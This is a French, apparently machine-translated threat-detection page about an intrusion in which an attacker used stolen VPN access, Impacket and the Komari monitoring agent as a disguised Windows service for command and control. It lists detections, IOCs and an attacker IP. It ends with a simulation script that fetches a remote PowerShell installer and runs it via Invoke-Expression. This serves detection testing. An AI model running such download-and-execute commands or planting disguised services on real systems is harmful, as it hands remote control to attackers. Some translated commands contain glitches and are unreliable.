Komari : L’outil de « surveillance » qui n’avait pas besoin d’être armais
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Un acteur de menace a utilisé des identifiants VPN volés pour accéder à un poste de travail Windows d’un partenaire de Huntress, puis a activé RDP et déployé l’agent de surveillance open-source Komari en tant que service SYSTEM déguisé en service de mise à jour Windows grâce à NSSM. Une fois installé, l’agent a établi une connexion WebSocket persistante avec une infrastructure contrôlée par l’attaquant et a fourni des capacités telles que l’exécution de commandes, l’accès au terminal et le ping de type battement de cœur. En pratique, l’outil a fonctionné comme un cadre de commande et de contrôle léger sans nécessiter de militarisation supplémentaire.
Enquête
L’intrusion a commencé par une connexion VPN SSL provenant de 45.153.34.132, suivie de l’utilisation de smbexec.py d’Impacket pour activer RDP et exécuter une série de commandes à distance. Les enquêteurs ont découvert qu’une ligne unique PowerShell avait téléchargé l’installateur Komari directement depuis GitHub et l’avait enregistré comme un service Windows. Ce service a ensuite lancé komari-agent.exe, ouvert une session WebSocket sur le serveur de l’attaquant et permis l’exécution de commandes à distance arbitraires sur l’hôte.
Atténuation
Huntress a réagi en isolant le poste de travail compromis, désactivant le compte utilisateur affecté et arrêtant le service Komari créé par NSSM. La connexion WebSocket malveillante a été bloquée et le mécanisme de persistance a été retiré du système. Les défenses recommandées à suivre incluent le renforcement des contrôles d’accès VPN, la surveillance des événements de création de services suspects, l’inspection de l’activité WebSocket sortante et le renforcement de la sécurité RDP.
Réponse
Les défenseurs devraient détecter la création d’un service Windows nommé Windows Update Service qui pointe vers komari-agent.exe, surveiller les connexions WebSocket sortantes de longue durée vers des hôtes inconnus, et alerter sur l’utilisation d’outils Impacket tels que smbexec.py pour le mouvement latéral. Si identifié, le point de terminaison affecté doit être immédiatement contenu, les identifiants compromis révoqués et le service indésirable retiré de l’environnement.
Flux d’Attaque
Détections
Modèles de Ligne de Commande Impacket possibles (via cmdline)
Proof of Value
Exécution Possible de Code à Distance avec Impacket (via cmdline)
Proof of Value
Exécution de Fichier PowerShell dans un Répertoire Suspect avec Politique d’Exécution Bypass (via cmdline)
Proof of Value
Téléchargement ou Chargement via PowerShell (via cmdline)
Proof of Value
Service d’Ombre Possible des Services de Bureau à Distance (via création de processus)
Proof of Value
Modifications Suspicion de Pare-feu via CLI (via cmdline)
Proof of Value
Processus Suspect Utilisant une URL dans la Ligne de Commande (via cmdline)
Proof of Value
Logiciel d’Accès/Management à Distance Alternatif (via création de processus)
Proof of Value
IOCs (HashSha256) pour détecter : Komari : L’Outil de Surveillance qui N’avait pas Besoin d’être Militarisé
Proof of Value
IOCs (SourceIP) pour détecter : Komari : L’Outil de Surveillance qui N’avait pas Besoin d’être Militarisé
Proof of Value
IOCs (DestinationIP) pour détecter : Komari : L’Outil de Surveillance qui N’avait pas Besoin d’être Militarisé
Proof of Value
Détection de l’Exécution d’Impacket smbexec.py et cmd.exe via RDP [Création de Processus Windows]
Proof of Value
Exécution PowerShell pour l’Installation de l’Agent Komari [Windows Powershell]
Proof of Value
Détection de la Persistance de l’Agent Komari via le Service de Mise à Jour Windows [Système Windows]
Proof of Value
Détection d’Accès SSLVPN non Autorisé et Activité Post-Compromission [Pare-feu]
Proof of Value
Exécution de Simulation
Condition Préalable : La Vérification Télémétrique & Pré‑Vol doit avoir réussi.
-
Narratif & Commandes d’Attaque :
Un adversaire a obtenu un point d’ancrage sur un hôte Windows et souhaite installer l’agent Komari C2 pour conserver la persistance et plus tard extraire les informations d’identification (T1003.001). Pour éviter de déclencher des défenses traditionnelles de blocage de script, l’attaquant exécute PowerShell avec-ExécutionPolicy Bypasset télécharge directement l’installateur depuis le référentiel public GitHub. La ligne de commande correspond exactement à la règle de détection, générant la télémétrie attendue. -
Script de Test de Régression :
# Simulation d'Installation de l'Agent Komari $url = "https://raw.githubusercontent.com/komari-monitor/komari-agent/main/install.ps1" $script = (New-Object System.Net.WebClient).DownloadString($url) Invoke-Expression $script -
Commandes de Nettoyage :
# Supprimer tous les fichiers créés par l'installateur simulé (le cas échéant) Remove-Item -Path "$Env:ProgramFilesKomari" -Recurse -Force -ErrorAction SilentlyContinue # Arrêter tout processus Komari qui aurait pu être démarré Get-Process -Name "Komari" -ErrorAction SilentlyContinue | Stop-Process -Force